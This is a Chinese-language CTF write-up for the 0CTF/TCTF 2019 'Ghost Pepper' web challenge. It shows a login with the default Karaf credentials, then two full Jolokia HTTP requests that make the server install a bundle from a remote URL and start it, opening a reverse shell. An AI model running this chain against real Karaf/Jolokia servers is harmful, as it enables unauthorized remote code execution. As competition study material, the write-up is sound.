0CTF/TCTF 2019 Quals: Ghost Pepper Write-up

太久沒寫文章,快速記錄一次簡單的 Web 題目。

題目敘述如下:

Do you know ghost pepper? Let's eat. http://111.186.63.207:31337

點開網頁出現授權要求視窗,網站訊息提示:「karaf」,直覺猜預設帳密 karaf/karaf,即可成功通過授權驗證。
0ctf_2019_quals_ghost_pepper_01

但是進去後,頁面顯示 HTTP 404,快速猜測一些常見路徑都無果。
0ctf_2019_quals_ghost_pepper_02

回想起題目敘述提到「ghost pepper」,丟到 Google 搜尋,第一筆結果為維基百科「Bhut jolokia - Wikipedia」,Bhut Jolokia 是一種稱為印度鬼椒的辣椒。
0ctf_2019_quals_ghost_pepper_03

於是嘗試輸入網址 http://111.186.63.207:31337/jolokia,出現了一串 JSON 資料。
0ctf_2019_quals_ghost_pepper_04

看來是個 Jolokia 的服務,關於 Jolokia 的介紹可以參考官方文件或是可以在網路上找到一些中文翻譯資料。

對於 Jolokia 曾經有些 CVE 可以直接 RCE,但這題目的版本已經修復了。

所以需要尋找新方向,可以先使用 http://111.186.63.207:31337/jolokia/list 列出能操作的 MBean,也許會找到些有趣的 Operation。
0ctf_2019_quals_ghost_pepper_05

其中有個 MBean org.apache.karaf:name=root,type=bundle 下的 Operation install 吸引到了我的注意,似乎可以讓我安裝一個 OSGi Bundle (jar file)。
0ctf_2019_quals_ghost_pepper_07

關於 OSGi、karaf、bundle 可參考:

首先嘗試是否支援 HTTP 協定到遠端伺服器抓取 Bundle (jar) 檔案。

POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 181
Authorization: Basic a2FyYWY6a2FyYWY=

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=bundle",
    "operation": "install(java.lang.String)",
    "arguments": ["http://ip/gg.jar"]
}

0ctf_2019_quals_ghost_pepper_08

成功收到一個 HTTP 請求,確實支援且看來沒有對外連線的限制。
0ctf_2019_quals_ghost_pepper_09

接著就可以開始撰寫惡意的 bundle (jar) 檔,我參考了此篇文章 Hello, OSGi, Part 1: Bundles for beginners,用 Eclipse 快速建立了一個 OSGi Bundle example,接著在 Activator.java 中的 void start(BundleContext context) 寫入一個 Reverse Shell 的程式碼,這個函式將會在 Bundle 被 start 時呼叫。
0ctf_2019_quals_ghost_pepper_10

Reverse Shell 參考:
GitHubGist - caseydunham/C.java

將撰寫好的 Bundle 匯出成單獨的 jar 檔,再次呼叫 org.apache.karaf:name=root,type=bundleinstall 進行安裝,可以看到下圖中,目標伺服器成功來抓取到 jar 檔案,接著回覆了安裝好的 Bundle 的 id 為 94。
0ctf_2019_quals_ghost_pepper_11
0ctf_2019_quals_ghost_pepper_12

最後只要呼叫 org.apache.karaf:name=root,type=bundlestart 啟動該 Bundle,就能順利收到 Reverse Shell。

POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
Connection: close
Content-Type: application/json
Content-Length: 135
Authorization: Basic a2FyYWY6a2FyYWY=

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=bundle",
    "operation": "start",
    "arguments": ["94"]
}

0ctf_2019_quals_ghost_pepper_13

最終得到 flag 是 flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH}
0ctf_2019_quals_ghost_pepper_14

Show Comments